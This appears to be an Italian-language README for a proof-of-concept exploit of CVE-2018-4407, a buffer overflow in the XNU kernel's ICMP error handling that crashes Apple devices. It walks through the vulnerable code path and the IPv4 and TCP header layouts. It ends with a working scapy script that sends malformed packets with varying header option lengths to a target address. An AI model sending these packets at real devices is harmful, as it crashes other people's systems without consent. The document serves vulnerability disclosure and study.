lucagiovagnoli/cve-2018-4407Una vulnerabilità di buffer overflow nel codice di errore ICMP del kernel XNU causa il crash dei dispositivi iOS (laptop e cellulari).
CVE-2018-4407 è una vulnerabilità di buffer overflow nel codice di gestione degli errori ICMP del kernel XNU. Provoca il crash dei dispositivi IOS (sia laptop che cellulari) alla ricezione di un singolo pacchetto malformato (sì, 1!).
La vulnerabilità è stata originariamente divulgata da Kevin Backhouse nel suo post sul blog lgtm il 30 ottobre 2018.
Il codice in questo repository è una proof of concept dell'exploit per CVE-2018-4407 scritta in Python, usando scapy e nmap.
Alcuni passaggi del mio processo di debugging. Un'occhiata al codice del kernel XNU porta ai valori di iphlen e tcphlen che possono innescare il buffer overflow.
Come ha detto Backhouse, dobbiamo avere icmplen > 84 e sembra che per raggiungere questo risultato si debba entrare nel ramo di codice if(oip->ip_p == IPPROTO_TCP). Un pacchetto TCP innescherebbe questa vulnerabilità.
Un header IPv4 va da un minimo di 20 byte fino a 36 byte (a seconda delle opzioni).
IHL: è la lunghezza dell'header IP, incluse le opzioni. Indica anche dove inizia il payload.Total Length: è la lunghezza totale del pacchetto IP (inclusi header IP e payload TCP). 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 |Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
12 | Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 16B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Un header TCP va da un minimo di 20 byte a 60 byte (le opzioni possono arrivare fino a 40 byte).
Data offset: indica dove iniziano i dati e può essere visto anche come la lunghezza dell'header. 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 | Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
12 | Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 40B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Non è necessario addentrarsi così a fondo nel codice XNU. Si può usare anche un semplice script scapy che prova manualmente varie lunghezze dell'header:
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>
for ip_opt_len in range(0, 60):
for tcp_opt_len in range (0, 60):
iphlen = ip_opt_len + MIN_IPHLEN
tcphlen = tcp_opt_len + MIN_TCPHLEN
total_ip_len = tcphlen + iphlen
send(IP(
ihl=iphlen/4,
len=total_ip_len,
dst=DST_IP,
options=IPOption("a" * ip_opt_len)
)/TCP(
dataofs=15,
options = [("NOP", None)] * tcp_opt_len
))